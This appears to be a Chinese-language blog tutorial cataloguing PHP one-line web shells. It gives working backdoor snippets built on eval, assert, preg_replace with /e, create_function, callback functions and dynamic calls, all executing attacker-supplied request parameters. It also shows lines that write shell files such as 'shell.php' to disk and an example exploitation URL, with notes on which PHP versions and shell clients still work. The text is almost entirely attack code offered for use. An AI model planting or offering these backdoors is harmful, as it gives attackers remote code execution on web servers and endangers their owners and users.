前言
大家好,我是阿里斯,一名IT行业小白。今天分享的内容是代码执行函数之一句话木马的构造。内容简单实用,没有过多的废话,希望能帮助到大家。
函数
eval()
$a = $_POST['cmd1'];eval($a);
assert()
assert($_REQUEST['a']); #11年的菜刀可以使用 ,其它版本不行# 参考链接 https://www.freebuf.com/articles/web/56616.html
preg_replace()
这个函数的第一个参数是正则表达式,按照PHP的格式,表达式在两个“/”之间。如果我们在这个表达式的末尾加上“e”,那么这个函数的第二个参数就会被当作代码执行
preg_replace('/asd/e', $_POST['a'], 'asdfasdg');# 14年的菜刀不行 蚁剑报错 # php5.5后开始弃用/e模式,但是经过测试16的菜刀配合php5.6还可以使用
create_function()
$func = create_function('', $_POST['cmd']);$func();
call_user_func()
把第一个参数作为回调函数调用,其余参数是回调函数的参数。
call_user_func('assert', $_REQUEST['cmd']);# 经过测试php7.0已失效
call_user_func_array()
调用回调函数,并把一个数组参数作为回调函数的参数
$cmd = $_REQUEST['cmd'];$arr[0] = $cmd;call_user_func_array('assert', $arr);# 7.0 php测试失败
array_filter()
第一个参数为数组,第二个参数为回调函数。这个函数的作用就是将array数组中的每个值传递给回调函数做参数。
$cmd = $_REQUEST['cmd'];$arr = array($cmd);$func = $_REQUEST['func'];array_filter($arr, $func);# 经过测试php7.0失效
usort()
函数执行的时候,会依次把$a中的两个值,传递给名字为my_sort函数中,所以你会看到my_sort有两个形参
参考链接http://www.am0s.com/functions/97.html
usort(...$_GET);# php5.6以上7.0以下有效#利用方式#http://127.0.0.1:8999/test/project/code_run.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert#x=phpinfo();
file_put_contents()
把一个字符串写入文件中,在浏览器访问这个文件会生成相应的木马文件。
$ma = '<?php eval($_REQUEST[cmd]);?>';#这里一定要使用单引号双引号会把$_REQUEST[]当作变量使用file_put_contents('muma.php', $ma);
fputs()
同上
fputs(fopen('shell.php', 'w'), '<?php eval($_REQUEST[cmd])?>');
动态函数
$_GET['a']($_POST['b']);
array_map()
array_map($_GET[func], array($_POST[cmd]));
结语
最后啰嗦一句,有收获的朋友欢迎帮忙关注转发一下。